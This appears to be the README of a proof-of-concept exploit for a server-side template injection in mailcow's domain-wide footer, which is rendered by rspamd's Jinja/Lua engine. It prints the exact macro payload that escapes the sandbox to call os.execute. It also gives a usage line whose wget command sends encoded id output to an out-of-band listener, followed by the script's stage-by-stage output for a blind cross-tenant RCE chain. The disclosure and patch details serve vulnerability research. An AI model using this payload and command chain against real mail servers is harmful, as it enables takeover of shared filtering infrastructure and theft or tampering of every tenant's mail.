
Python PoC for CVE-2026-125757: exploits mailcow domain-wide footer SSTI in rspamd's jinja/lupa engine to achieve blind cross-tenant RCE via authenticated SMTP.
A domain administrator can store a domain-wide footer whose HTML is kept verbatim and later rendered by
rspamd's jinja/lupa engine on the next authenticated outbound message of the domain. A jinja macro
default value in the footer is compiled by lupa with load('return '..default) without the sandbox
environment, so it runs in rspamd's real LuaJIT globals where os.execute is reachable — arbitrary
command execution, not string expansion. rspamd is a single container shared by every tenant, so one
single-domain admin reaches all tenants' mail in transit and the filtering platform as a whole.
| Affected | mailcow/mailcow-dockerized < 2026-11 (master @ 55982ac74bfd35581cc44b122ab5fc659e3ae90a; rspamd 4.2.1-1) |
| Fixed | >= 2026-11 (footer rendered with variable-only substitution, no template control syntax) |
| Prerequisites | domain-admin of ≥1 domain, acting in their own authenticated session; one authenticated outbound message to trigger. No global admin, host access, or network position |
| Impact | RCE in the shared rspamd container → read/modify/inject every tenant's mail, disable spam/AV filtering platform-wide, reach rspamd's redis; cross-container DoS via MC_CHANNEL. |
| Severity | CVSS 3.1 = 9.1 (Critical) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-1336 |
The footer is stored verbatim behind a single tenant-scope gate and fed, unmodified, into a template engine:
// src/data/web/inc/functions.mailbox.inc.php — case 'domain_wide_footer'
$footer_html = $attr['html']; // :4187 stored verbatim, no template sanitisation
... hasDomainAccess($_SESSION['...'], $domain) ... // :4251 only gate (tenant scope)
INSERT INTO domain_footer (html, plain, ...) ... // :4263
// reached unauthenticated-to-the-sink via: POST /api/v1/edit/domain/footer
-- src/data/conf/rspamd/rspamd.local.lua — MOO_FOOTER prefilter renders the stored footer
lua_util.jinja_template(footer.html, ...) -- :847 (and footer.plain :850) [feed: dynmaps/footer.php]
-- contrib/lua-lupa/lupa.lua — a macro default value is compiled OUTSIDE the sandbox env
load('return ' .. default) -- :487 -> runs in real _G; os.execute reachable
-- :554 {% filter %} params share the same path
A footer of the form {% macro p(a=os.execute("<cmd>")) %}{% endmacro %}footer therefore executes <cmd>
inside the rspamd container when MOO_FOOTER renders it. The footer is rendered for both the HTML and the
plain part, so the command runs on each authenticated outbound message of the domain.
CVE-2026-125757.py (standard library only, Python 3.8+) walks the full chain and prints each stage — login → create a
throwaway mailbox → plant the footer payload → trigger via SMTP → verify → clean up. The command runs blind
(no stdout is returned over SMTP), so point --cmd at an out-of-band listener you control.
# on your host, start a listener first: python3 -m http.server 8000
# blind RCE, confirmed by the callback (base64 so `id` output survives the URL path):
python3 CVE-2026-125757.py --url https://mail.example --username da_a --password 'PW' \
--domain tenanta.test --cmd 'wget -qO- http://10.0.0.1:8000/$( id | base64 -w0 )'
Expected output:
[1/5] login as domain admin 'da_a' ............. ok
[2/5] create throwaway mailbox ................. ok ([email protected])
[3/5] plant SSTI footer payload ................ ok
[4/5] trigger: send authenticated mail (SMTP 587) ... ok (4.2s)
[5/5] verify execution ......................... ok
[+] PAYLOAD DELIVERED: footer rendered, os.execute('wget ...') ran in rspamd
Blind RCE (no stdout over SMTP) - confirm on your out-of-band listener
[*] cleanup: reset footer ...................... ok
[*] cleanup: delete mailbox .................... ok ([email protected])